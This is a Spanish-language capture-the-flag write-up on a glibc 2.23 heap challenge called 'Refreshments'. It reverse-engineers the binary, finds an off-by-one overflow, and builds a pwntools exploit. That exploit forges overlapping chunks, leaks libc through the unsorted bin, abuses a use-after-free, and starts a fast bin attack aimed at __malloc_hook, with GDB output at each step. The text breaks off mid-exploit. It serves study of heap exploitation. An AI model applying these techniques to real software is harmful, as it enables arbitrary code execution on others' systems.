Refreshments
25 minutos de lectura
Se nos proporciona un binario de 64 bits llamado refreshments
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
SHSTK: Enabled
IBT: Enabled
Stripped: No
Además, también se nos proporciona la librería Glibc 2.23, y el binario ya está parcheado para usar esta librería y su cargador:
$ ./glibc/ld-linux-x86-64.so.2 ./glibc/libc.so.6
GNU C Library (GNU libc) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<http://www.gnu.org/software/libc/bugs.html>.
Curiosamente, Glibc 2.23 es bastante antigua, así que este reto probablemente revisite algunas técnicas antiguas relacionadas con explotación del heap.
Ingeniería inversa
Si abrimos el binario en IDA, veremos esta función main
:
int __fastcall __noreturn main(int argc, const char** argv, const char** envp) {
unsigned __int64 option; // rax
char count; // [rsp+7h] [rbp-79h]
unsigned __int64 free_index; // [rsp+8h] [rbp-78h]
unsigned __int64 edit_index; // [rsp+8h] [rbp-78h]
unsigned __int64 view_index; // [rsp+8h] [rbp-78h]
void* ptr[14]; // [rsp+10h] [rbp-70h] BYREF
ptr[11] = (void*) __readfsqword(0x28u);
setup(argc, argv, envp);
banner();
memset(ptr, 0, 0x50);
count = 0;
while (1) {
while (1) {
printf(aMenu, (unsigned int) count);
option = read_num();
if (option != 4)
break;
printf("\nChoose glass: ");
view_index = read_num();
if (view_index >= count)
goto LABEL_27;
if (ptr[view_index]) {
printf("\nGlass content: ");
write(1, ptr[view_index], 0x58u);
putchar('\n');
} else {
error("Cannot view empty glass!");
}
}
if (option > 4)
goto LABEL_28;
switch (option) {
case 3uLL:
printf("\nChoose glass to customize: ");
edit_index = read_num();
if (edit_index >= count)
goto LABEL_27;
if (ptr[edit_index]) {
printf("\nAdd another drink: ");
read(0, ptr[edit_index], 0x59u);
putchar('\n');
} else {
error("Cannot customize empty glass!");
}
break;
case 1uLL:
if (count > 15) {
error("You cannot take any more glasses!");
exit(69);
}
ptr[count] = calloc(1u, 0x58u);
if (ptr[count]) {
count++;
printf("\nHere is your refreshing juice!\n\n");
} else {
error("Something went wrong with the juice!");
}
break;
case 2uLL:
printf("\nChoose glass to empty: ");
free_index = read_num();
if (free_index >= count) {
LABEL_27:
error("This glass is unavailable!");
} else if (ptr[free_index]) {
free(ptr[free_index]);
ptr[free_index] = 0;
puts("\nGlass is empty now!\n");
} else {
error("This glass is already empty!");
}
break;
default:
LABEL_28:
error("Have a great day!\n");
exit(69);
}
}
La función es corta y está relacionada con explotación del heap. Tenemos estas opciones en una estructura switch
-case
:
$ ./refreshments
⬜⬜⬜🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧⬜⬜⬜
⬜⬜⬜🟧⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜🟧⬜⬜⬜
⬜⬜⬜🟧⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜🟧⬜⬜⬜
⬜⬜⬜🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧⬜⬜⬜
⬜⬜🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧⬜⬜
⬜🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧⬜
🟧🟧🟧⬜🟧⬜🟧⬜🟧⬜🟧⬜⬜⬜🟧⬜⬜⬜🟧
🟧🟧🟧⬜🟧⬜🟧⬜🟧⬜🟧⬜🟧🟧🟧⬜🟧🟧🟧
🟧🟧🟧⬜🟧⬜🟧⬜🟧⬜🟧⬜🟧🟧🟧⬜⬜🟧🟧
🟧⬜🟧⬜🟧⬜🟧⬜🟧⬜🟧⬜🟧🟧🟧⬜🟧🟧🟧
🟧⬜⬜⬜🟧⬜⬜⬜🟧⬜🟧⬜⬜⬜🟧⬜⬜⬜🟧
🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧
🟧⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜🟧
🟧⬜⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬜⬜⬛⬛⬜⬜🟧
🟧⬜⬛⬜⬛⬛⬜⬜⬜⬜⬜⬜⬜⬛⬜⬛⬛⬜🟧
🟧⬜⬛⬛⬛⬛⬜⬜⬜⬜⬜⬜⬜⬛⬛⬛⬛⬜🟧
🟧⬜🏻⬛⬛⬜⬜⬛⬜⬜⬜⬛⬜⬜⬛⬛🏻⬜🟧
🟧⬜🏻🏻⬜⬜⬜⬜⬛⬛⬛⬜⬜⬜⬜🏻🏻⬜🟧
🟧⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜⬜🟧
🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧🟧
It's too hot.. Drink a juice Jumpio.. Or 2.. Or 10!
Menu:
███████████████████████████
█ █
█ 1. Fill glass (0 / 10) █
█ 2. Empty glass █
█ 3. Edit glass █
█ 4. View glass █
█ 5. Exit █
█ █
███████████████████████████
>>
Esencialmente: crear, eliminar, editar y leer.
Función de creación
Esta es la rutina que crea chunks:
case 1uLL:
if (count > 15) {
error("You cannot take any more glasses!");
exit(69);
}
ptr[count] = calloc(1u, 0x58u);
if (ptr[count]) {
count++;
printf("\nHere is your refreshing juice!\n\n");
} else {
error("Something went wrong with the juice!");
}
No hay mucho que decir sobre esto. Crea un chunk de tamaño 0x61
(0x58
se redondea a 0x60
, y el 1
es la flag PREV_INUSE
). Nótese que el programa utiliza calloc
, así que borrará el contenido del chunk antes de devolver el control al usuario. Después de eso, la referencia se añade a una lista llamada ptr
, que es un array asignado en la pila:
int __fastcall __noreturn main(int argc, const char** argv, const char** envp) {
unsigned __int64 option; // rax
char count; // [rsp+7h] [rbp-79h]
unsigned __int64 free_index; // [rsp+8h] [rbp-78h]
unsigned __int64 edit_index; // [rsp+8h] [rbp-78h]
unsigned __int64 view_index; // [rsp+8h] [rbp-78h]
void* ptr[14]; // [rsp+10h] [rbp-70h] BYREF
ptr[11] = (void*) __readfsqword(0x28u);
setup(argc, argv, envp);
banner();
memset(ptr, 0, 0x50);
count = 0;
// ...
}
Curiosamente, el canario se guarda en ptr[11]
, y memset
solo borra 10 espacios de ptr
(0x50
bytes).
Además, es extraño que el programa asigne ptr[14]
(es decir, del índice 0
al 13
), pero count
puede llegar hasta 15, por lo que podemos usar el índice 14
, que está fuera de límites. Esto podría ser prometedor para modificar valores como la dirección de retorno desde main
; sin embargo, no hay forma de volver desde main
, ya que llama a exit(69)
.
Función de eliminación
El siguiente código nos permite liberar chunks:
case 2uLL:
printf("\nChoose glass to empty: ");
free_index = read_num();
if (free_index >= count) {
LABEL_27:
error("This glass is unavailable!");
} else if (ptr[free_index]) {
free(ptr[free_index]);
ptr[free_index] = 0;
puts("\nGlass is empty now!\n");
} else {
error("This glass is already empty!");
}
Como se puede ver, solicita el índice del chunk a eliminar, y se asegura de que el índice sea menor que count
y que el espacio correspondiente no esté vacío. Después de eso, llama a free
y elimina la referencia de ptr
.
Función de edición
Así es como podemos editar chunks:
case 3uLL:
printf("\nChoose glass to customize: ");
edit_index = read_num();
if (edit_index >= count)
goto LABEL_27;
if (ptr[edit_index]) {
printf("\nAdd another drink: ");
read(0, ptr[edit_index], 0x59u);
putchar('\n');
} else {
error("Cannot customize empty glass!");
}
Igual que antes, el programa solicita un índice, y tras algunas validaciones, permite introducir 0x59
bytes en el chunk seleccionado del heap.
Aquí, tenemos un desbordamiento de un byte (off-by-one) porque estamos tratando con chunks de tamaño 0x61
, cuyo tamaño útil es 0x58
. Como resultado, podemos llenar todo el chunk y podríamos añadir otro byte fuera del chunk, lo cual podría modificar el chunk adyacente.
Función de mostrar
Por último, tenemos esta rutina para leer el contenido de un chunk elegido:
if (option != 4)
break;
printf("\nChoose glass: ");
view_index = read_num();
if (view_index >= count)
goto LABEL_27;
if (ptr[view_index]) {
printf("\nGlass content: ");
write(1, ptr[view_index], 0x58u);
putchar('\n');
} else {
error("Cannot view empty glass!");
}
Como se puede ver, la forma de imprimir contenido es con write
y un tamaño fijo de 0x58
, así que imprimirá exactamente 0x58
bytes, sin importar si el chunk contiene bytes nulos.
Estrategia de explotación
Cuando resolví este reto, no tomé una estrategia clara. Sin embargo, resumamos algunas ideas:
- Estamos limitados a usar
calloc(1, 0x58)
, lo cual significa que no tenemos control sobre el tamaño de los chunks, y además no habrá valores no inicializados en los chunks del heap - Tenemos una vulnerabilidad off-by-one en la rutina de edición. Esto nos permite modificar el tamaño del siguiente chunk a algo distinto de
0x61
- Los chunks liberados irán al Fast Bin, lo que significa que probablemente podamos realizar un ataque Fast Bin para obtener una primitiva de escritura arbitraria
- Si configuramos el tamaño del siguiente chunk a algo como
0xc1
(2 * 0x60
) y liberamos el chunk corrupto, irá al Unsorted Bin, que tendrá punteros de Glibc amain_arena
. Esto podría ser útil para filtrar direcciones de memoria
Primero, resolví este reto en Ubuntu 24.04, que tiene un rango más amplio para direcciones Glibc y PIE/heap (de 0x70**********
a 0x7f**********
y de 0x55**********
a 0x65**********
, respectivamente). Sin embargo, cuando lo intenté remotamente, mi exploit no funcionó porque dependía de los rangos anteriores. Parece que el binario remoto se ejecutaba en un entorno diferente, donde las direcciones Glibc y PIE/heap van de 0x7e**********
a 0x7f**********
y de 0x55**********
a 0x56**********
, respectivamente. Mostraré ambos enfoques para mayor completitud.
Desarrollo del exploit
Usemos las siguientes funciones auxiliares:
def create(option = b'1\n'):
io.sendafter(b'>> ', option)
def delete(index: int):
io.sendlineafter(b'>> ', b'2')
io.sendlineafter(b'Choose glass to empty: ', str(index).encode())
def edit(index: int, data: bytes):
io.sendlineafter(b'>> ', b'3')
io.sendlineafter(b'Choose glass to customize: ', str(index).encode())
io.sendafter(b'Add another drink: ', data)
def show(index: int) -> bytes:
io.sendlineafter(b'>> ', b'4')
io.sendlineafter(b'Choose glass: ', str(index).encode())
io.recvuntil(b'Glass content: ')
return io.recvuntil(b'\nMenu:', drop=True)
Filtrar direcciones de memoria
Primero que nada, necesitamos filtrar direcciones de memoria. Típicamente, se asignaría y liberaría memoria, para que las direcciones queden escritas en los punteros fd
y bk
de los chunks liberados. Luego, al volver a asignar, usualmente se puede escribir un solo byte y filtrar los bytes superiores de una dirección. Sin embargo, calloc
borra el chunk antes de escribir datos controlados por el usuario, lo que significa que no podemos usar este enfoque.
Usando la vulnerabilidad off-by-one, podemos modificar el tamaño del siguiente chunk. Nos interesa liberar un chunk más grande que se sobreponga con otros chunks. Por ejemplo, podemos sobrescribir el tamaño con 0xc1
. Si liberamos este chunk artificial de tamaño 0xc1
, irá al Unsorted Bin.
Implementemos hasta el off-by-one:
create() # 0
create() # 1
create() # 2
create() # 3
edit(0, b'\0' * 0x58 + b'\xc1')
Veremos lo siguiente en GDB:
gef> visual-heap -n
[+] No tcache in this version of libc
0x6229503cb000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000061 | ........a....... |
0x6229503cb010|+0x00010|+0x00010: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb060|+0x00000|+0x00060: 0x0000000000000000 0x00000000000000c1 | ................ |
0x6229503cb070|+0x00010|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb080|+0x00020|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb090|+0x00030|+0x00090: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0a0|+0x00040|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0b0|+0x00050|+0x000b0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0c0|+0x00060|+0x000c0: 0x0000000000000000 0x0000000000000061 | ........a....... |
0x6229503cb0d0|+0x00070|+0x000d0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0e0|+0x00080|+0x000e0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0f0|+0x00090|+0x000f0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb100|+0x000a0|+0x00100: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb110|+0x000b0|+0x00110: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb120|+0x00000|+0x00120: 0x0000000000000000 0x0000000000000061 | ........a....... |
0x6229503cb130|+0x00010|+0x00130: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb140|+0x00020|+0x00140: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb150|+0x00030|+0x00150: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb160|+0x00040|+0x00160: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb170|+0x00050|+0x00170: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb180|+0x00000|+0x00180: 0x0000000000000000 0x0000000000020e81 | ................ | <- top
0x6229503cb190|+0x00010|+0x00190: 0x0000000000000000 0x0000000000000000 | ................ |
* 8422 lines, 0x20e60 bytes
Como se puede observar, GDB interpreta el diseño del heap como si tuviéramos 3 chunks: 0x61
, 0xc1
y 0x61
, aunque tenemos 4 referencias:
gef> frame 2
#2 0x0000622929a9c55e in main ()
gef> stack
------------------------------------------------ Stack top (lower address) ------------------------------------------------
0x7ffeb787eaf0|+0x0000|+000: 0x0400000000000001
0x7ffeb787eaf8|+0x0008|+001: 0x0000000000000000
0x7ffeb787eb00|+0x0010|+002: 0x00006229503cb010 -> 0x0000000000000000
0x7ffeb787eb08|+0x0018|+003: 0x00006229503cb070 -> 0x0000000000000000
0x7ffeb787eb10|+0x0020|+004: 0x00006229503cb0d0 -> 0x0000000000000000
0x7ffeb787eb18|+0x0028|+005: 0x00006229503cb130 -> 0x0000000000000000
0x7ffeb787eb20|+0x0030|+006: 0x0000000000000000
0x7ffeb787eb28|+0x0038|+007: 0x0000000000000000
0x7ffeb787eb30|+0x0040|+008: 0x0000000000000000
0x7ffeb787eb38|+0x0048|+009: 0x0000000000000000
0x7ffeb787eb40|+0x0050|+010: 0x0000000000000000
0x7ffeb787eb48|+0x0058|+011: 0x0000000000000000
0x7ffeb787eb50|+0x0060|+012: 0x0000622929a9c7e0 <__libc_csu_init> -> 0x8d4c5741fa1e0ff3
0x7ffeb787eb58|+0x0068|+013: 0x64fc66c8ed3ebf00 <- canary
0x7ffeb787eb60|+0x0070|+014: 0x00007ffeb787ec50 -> 0x0000000000000001 <- $r13
0x7ffeb787eb68|+0x0078|+015: 0x0000000000000000
0x7ffeb787eb70|+0x0080|+016: 0x0000622929a9c7e0 <__libc_csu_init> -> 0x8d4c5741fa1e0ff3
0x7ffeb787eb78|+0x0088|+017: 0x000077e9d0a2074a <__libc_start_main+0xea> -> 0x48000153cfe8c789 <- retaddr[3] ($savedip)
---------------------------------------------- Stack bottom (higher address) ----------------------------------------------
Ahora, liberamos el chunk de tamaño 0xc1
:
delete(1)
Entonces, tenemos este diseño del heap:
gef> visual-heap -n
[+] No tcache in this version of libc
0x6229503cb000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000061 | ........a....... |
0x6229503cb010|+0x00010|+0x00010: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb060|+0x00000|+0x00060: 0x0000000000000000 0x00000000000000c1 | ................ | <- unsortedbins[1/1]
0x6229503cb070|+0x00010|+0x00070: 0x000077e9d0d99b78 0x000077e9d0d99b78 | x....w..x....w.. |
0x6229503cb080|+0x00020|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb090|+0x00030|+0x00090: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0a0|+0x00040|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0b0|+0x00050|+0x000b0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0c0|+0x00060|+0x000c0: 0x0000000000000000 0x0000000000000061 | ........a....... |
0x6229503cb0d0|+0x00070|+0x000d0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0e0|+0x00080|+0x000e0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0f0|+0x00090|+0x000f0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb100|+0x000a0|+0x00100: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb110|+0x000b0|+0x00110: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb120|+0x00000|+0x00120: 0x00000000000000c0 0x0000000000000060 | ........`....... |
0x6229503cb130|+0x00010|+0x00130: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb140|+0x00020|+0x00140: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb150|+0x00030|+0x00150: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb160|+0x00040|+0x00160: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb170|+0x00050|+0x00170: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb180|+0x00000|+0x00180: 0x0000000000000000 0x0000000000020e81 | ................ | <- top
0x6229503cb190|+0x00010|+0x00190: 0x0000000000000000 0x0000000000000000 | ................ |
* 8422 lines, 0x20e60 bytes
gef> bins
------------------------------------------------------------ _Fast Bins_ for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 valid chunks in fastbins
----------------------------------------------------------- Unsorted Bin for arena 'main_arena' -----------------------------------------------------------
[+] No tcache in this version of libc
unsorted_bin[idx=0, size=any, @0x77e9d0d99b88]: fd=0x6229503cb060, bk=0x77e9d0d99b78
-> Chunk(base=0x6229503cb060, addr=0x6229503cb070, size=0xc0, flags=PREV_INUSE, fd=0x77e9d0d99b78 <main_arena+0x58>, bk=0x77e9d0d99b78 <main_arena+0x58>)
[+] Found 1 valid chunks in unsorted bin (when traced from `bk`)
------------------------------------------------------------ Small Bins for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 valid chunks in 0 small bins (when traced from `bk`)
------------------------------------------------------------ Large Bins for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 valid chunks in 0 large bins (when traced from `bk`)
Como se esperaba, hay un chunk en el Unsorted Bin que contiene punteros con offset a main_arena
:
gef> x/gx 0x000077e9d0d99b78
0x77e9d0d99b78 <main_arena+88>: 0x00006229503cb180
No podemos usar la rutina de mostrar para obtener la filtración, y no podemos asignar en el lugar porque calloc
lo borra. Sin embargo, podemos crear otro chunk, que tomará memoria del chunk del Unsorted Bin, y actualizará los punteros fd
y bk
en la memoria restante:
create() # 4
Esto es lo que ocurre en el heap:
gef> visual-heap -n
[+] No tcache in this version of libc
0x6229503cb000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000061 | ........a....... |
0x6229503cb010|+0x00010|+0x00010: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb060|+0x00000|+0x00060: 0x0000000000000000 0x0000000000000061 | ........a....... |
0x6229503cb070|+0x00010|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb080|+0x00020|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb090|+0x00030|+0x00090: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0a0|+0x00040|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0b0|+0x00050|+0x000b0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0c0|+0x00060|+0x000c0: 0x0000000000000000 0x0000000000000061 | ........a....... | <- unsortedbins[1/1]
0x6229503cb0d0|+0x00070|+0x000d0: 0x000077e9d0d99b78 0x000077e9d0d99b78 | x....w..x....w.. |
0x6229503cb0e0|+0x00080|+0x000e0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb0f0|+0x00090|+0x000f0: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb100|+0x000a0|+0x00100: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb110|+0x000b0|+0x00110: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb120|+0x00000|+0x00120: 0x0000000000000060 0x0000000000000060 | `.......`....... |
0x6229503cb130|+0x00010|+0x00130: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb140|+0x00020|+0x00140: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb150|+0x00030|+0x00150: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb160|+0x00040|+0x00160: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb170|+0x00050|+0x00170: 0x0000000000000000 0x0000000000000000 | ................ |
0x6229503cb180|+0x00000|+0x00180: 0x0000000000000000 0x0000000000020e81 | ................ | <- top
0x6229503cb190|+0x00010|+0x00190: 0x0000000000000000 0x0000000000000000 | ................ |
* 8422 lines, 0x20e60 bytes
gef> frame 2
#2 0x0000622929a9c55e in main ()
gef> stack
------------------------------------------------ Stack top (lower address) ------------------------------------------------
0x7ffeb787eaf0|+0x0000|+000: 0x0400000000000001
0x7ffeb787eaf8|+0x0008|+001: 0x0000000000000000
0x7ffeb787eb00|+0x0010|+002: 0x00006229503cb010 -> 0x0000000000000000
0x7ffeb787eb08|+0x0018|+003: 0x0000000000000000
0x7ffeb787eb10|+0x0020|+004: 0x00006229503cb0d0 -> 0x00007679eb199b78 <main_arena+0x58> -> 0x00006229503cb180 -> ...
0x7ffeb787eb18|+0x0028|+005: 0x00006229503cb130 -> 0x0000000000000000
0x7ffeb787eb20|+0x0030|+006: 0x00006229503cb070 -> 0x0000000000000000
0x7ffeb787eb28|+0x0038|+007: 0x0000000000000000
0x7ffeb787eb30|+0x0040|+008: 0x0000000000000000
0x7ffeb787eb38|+0x0048|+009: 0x0000000000000000
0x7ffeb787eb40|+0x0050|+010: 0x0000000000000000
0x7ffeb787eb48|+0x0058|+011: 0x0000000000000000
0x7ffeb787eb50|+0x0060|+012: 0x0000622929a9c7e0 <__libc_csu_init> -> 0x8d4c5741fa1e0ff3
0x7ffeb787eb58|+0x0068|+013: 0x64fc66c8ed3ebf00 <- canary
0x7ffeb787eb60|+0x0070|+014: 0x00007ffeb787ec50 -> 0x0000000000000001 <- $r13
0x7ffeb787eb68|+0x0078|+015: 0x0000000000000000
0x7ffeb787eb70|+0x0080|+016: 0x0000622929a9c7e0 <__libc_csu_init> -> 0x8d4c5741fa1e0ff3
0x7ffeb787eb78|+0x0088|+017: 0x000077e9d0a2074a <__libc_start_main+0xea> -> 0x48000153cfe8c789 <- retaddr[3] ($savedip)
---------------------------------------------- Stack bottom (higher address) ----------------------------------------------
Nótese cómo ptr
tiene un puntero al tercer chunk, que se sobrepuso con el chunk falso de tamaño 0xc1
y ahora contiene punteros de Glibc debido al uso del Unsorted Bin. Como resultado, podemos leerlo con la rutina de mostrar:
glibc.address = u64(show(2)[:8]) - glibc.sym.main_arena - 88
io.success(f'Glibc base address: {hex(glibc.address)}')
Además, este chunk ya está liberado, lo que nos permite ejecutar las rutinas de eliminar, editar y mostrar incluso si el chunk está liberado (Use After Free):
gef> bins
------------------------------------------------------------ _Fast Bins_ for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 valid chunks in fastbins
----------------------------------------------------------- Unsorted Bin for arena 'main_arena' -----------------------------------------------------------
[+] No tcache in this version of libc
unsorted_bin[idx=0, size=any, @0x77e9d0d99b88]: fd=0x6229503cb0c0, bk=0x77e9d0d99b78
-> Chunk(base=0x6229503cb0c0, addr=0x6229503cb0d0, size=0x60, flags=PREV_INUSE, fd=0x77e9d0d99b78 <main_arena+0x58>, bk=0x77e9d0d99b78 <main_arena+0x58>)
[+] Found 1 valid chunks in unsorted bin (when traced from `bk`)
------------------------------------------------------------ Small Bins for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 valid chunks in 0 small bins (when traced from `bk`)
------------------------------------------------------------ Large Bins for arena 'main_arena' ------------------------------------------------------------
[+] Found 0 valid chunks in 0 large bins (when traced from `bk`)
Con esto podemos filtrar Glibc de forma confiable. También podríamos filtrar direcciones del heap usando otro chunk del Unsorted Bin y una estrategia similar. Esto hará que los punteros fd
y bk
apunten entre sí, por lo que también habrá un puntero del heap allí. Sin embargo, las filtraciones del heap no son necesarias para este exploit.
Antes de continuar, creemos otro chunk para eliminar el Unsorted Bin y lo liberamos para mantenerlo como un Fast Bin:
create() # 5
delete(2)
Ataque Fast Bin
Ahora que hemos filtrado Glibc y tenemos un Use After Free (UAF), podemos realizar fácilmente un ataque Fast Bin. Para quienes están familiarizados con la explotación moderna del heap de Glibc, el ataque Fast Bin es muy similar al Tcache poisoning, aunque este último es más simple por tener menos comprobaciones de seguridad.
Básicamente, un ataque Fast Bin consiste en modificar el puntero fd
de un chunk liberado del Fast Bin, de modo que la lista enlazada se corrompa y al asignar más chunks, eventualmente un chunk se asigne en una posición controlada. Esto nos da una primitiva de escritura.
La principal limitación de un ataque Fast Bin es encontrar un lugar donde asignar un chunk, ya que debe tener una forma válida de chunk. En este reto estamos tratando con chunks de tamaño 0x61
, así que si realizamos un ataque Fast Bin, debemos asegurarnos de que el lugar donde queremos que se asigne el chunk tenga un campo de tamaño de 0x61
(u otros como 0x60
o 0x6f
, entre otros).
Un objetivo típico para un ataque Fast Bin está sobre __malloc_hook
, ya que hay algunas direcciones de Glibc que usualmente comienzan con 0x7f
, y esto sirve como tamaño para chunks de 0x71
, como se explica en Introduction To GLIBC Heap Exploitation - Max Kamper. Sin embargo, no controlamos el tamaño de los chunks asignados, así que esto no es posible esta vez.
Hace tiempo, resolví un reto llamado Dragon Army que precisamente bloqueaba el uso de chunks de tamaño 0x71
en Fast Bin, así que tomé otro enfoque que se basaba en el hecho de que las direcciones PIE/heap comienzan con 0x55
o 0x56
. En el segundo caso, puede usarse como tamaño para un ataque Fast Bin. La idea es que podemos apuntar a un puntero en main_arena
(donde se almacenan punteros al heap real) y modificar la dirección del top chunk en la estructura malloc_state
:
struct malloc_state {
mutex_t mutex;
int flags;
mfastbinptr fastbinsY[NFASTBINS];
mchunkptr top;
mchunkptr last_remainder;
mchunkptr bins[NBINS * 2 - 2];
unsigned int binmap[BINMAPSIZE];
struct malloc_state *next;
struct malloc_state *next_free;
INTERNAL_SIZE_T attached_threads;
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
Al modificar correctamente la dirección del top chunk, podemos comenzar a asignar por encima de __malloc_hook
y eventualmente añadir una shell one_gadget
aquí para obtener ejecución de código arbitrario.
Exploit local (Ubuntu 24.04)
Vamos a usar el mismo enfoque que en Dragon Army. Para esto, vamos a analizar main_arena
:
gef> x/20gx &main_arena
0x708552d99b20 <main_arena>: 0x0000000000000000 0x0000000000000000
0x708552d99b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x708552d99b40 <main_arena+32>: 0x0000000000000000 0x0000563cc1b900c0
0x708552d99b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x708552d99b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x708552d99b70 <main_arena+80>: 0x0000000000000000 0x0000563cc1b90180
0x708552d99b80 <main_arena+96>: 0x0000563cc1b900c0 0x0000708552d99b78
0x708552d99b90 <main_arena+112>: 0x0000708552d99b78 0x0000708552d99b88
0x708552d99ba0 <main_arena+128>: 0x0000708552d99b88 0x0000708552d99b98
0x708552d99bb0 <main_arena+144>: 0x0000708552d99b98 0x0000708552d99ba8
Como se puede ver, las direcciones del heap comienzan con 0x56
, pero en Ubuntu 24.04 pueden comenzar con 0x60
, 0x61
…, lo cual es útil para un Fast Bin attack en esta situación. También sería ideal tener un chunk de tamaño 0x21
que esté liberado, de modo que tengamos un puntero lo suficientemente por encima de la dirección del top chunk. No podemos usar punteros de Fast Bin de tamaño 0x61
para esto porque calloc
borra el contenido y el asignador del heap fallará.
Asumiendo que obtenemos un chunk Fast Bin de tamaño 0x21
, necesitaremos usar la dirección de main_arena + 5
como forma de chunk:
gef> set *(unsigned long*)0x7f80e3599b28 = 0x000061aaaaaaaaaa
gef> x/20gx &main_arena
0x7f80e3599b20 <main_arena>: 0x0000000000000000 0x000061aaaaaaaaaa
0x7f80e3599b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7f80e3599b40 <main_arena+32>: 0x0000000000000000 0x0000584c267620c0
